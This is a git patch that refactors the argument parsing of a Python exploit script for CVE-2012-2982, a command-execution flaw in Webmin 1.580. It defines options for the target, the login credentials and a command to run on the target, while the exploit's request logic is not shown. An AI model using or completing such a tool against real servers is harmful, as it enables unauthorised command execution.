From 7aa7d7a59ebc99b2ed28763e744ff80441850c8a Mon Sep 17 00:00:00 2001 From: John Hammond Date: Sat, 4 Sep 2021 01:39:17 -0400 Subject: [PATCH] Modified argparse to run in its own get_args function --- CVE-2012-2982.py | 76 +++++++++++++++++++++++++----------------------- 1 file changed, 40 insertions(+), 36 deletions(-) diff --git a/CVE-2012-2982.py b/CVE-2012-2982.py index 9e6a031..95c996b 100644 --- a/CVE-2012-2982.py +++ b/CVE-2012-2982.py @@ -8,43 +8,47 @@ import urllib.parse import requests -parser = argparse.ArgumentParser() -parser.add_argument( - "-t", "--target", help="The host of the Webmin 1.580 target", required=True -) -parser.add_argument( - "-p", - "--port", - help="The port that hosts Webmin 1.580", - required=False, -) -parser.add_argument( - "-U", - "--username", - help="The username to login to Webmin", - required=True, -) -parser.add_argument( - "-P", - "--password", - help="The password to login to Webmin", - required=True, -) -parser.add_argument( - "-c", - "--command", - help="The command to run on the target", - required=True, -) -parser.add_argument( - "-s", - "--ssl", - help="Whether or not we should use SSL", - action="store_true", -) +def get_args(): -args = parser.parse_args() + parser = argparse.ArgumentParser() + + parser.add_argument( + "-t", "--target", help="The host of the Webmin 1.580 target", required=True + ) + parser.add_argument( + "-p", + "--port", + help="The port that hosts Webmin 1.580", + required=False, + ) + parser.add_argument( + "-U", + "--username", + help="The username to login to Webmin", + required=True, + ) + parser.add_argument( + "-P", + "--password", + help="The password to login to Webmin", + required=True, + ) + parser.add_argument( + "-c", + "--command", + help="The command to run on the target", + required=True, + ) + parser.add_argument( + "-s", + "--ssl", + help="Whether or not we should use SSL", + action="store_true", + ) + + args = parser.parse_args() + return args class Exploit: @@ -137,7 +141,7 @@ class Exploit: if __name__ == "__main__": - exploit = Exploit(args) + exploit = Exploit(get_args()) success = exploit.run() if not success: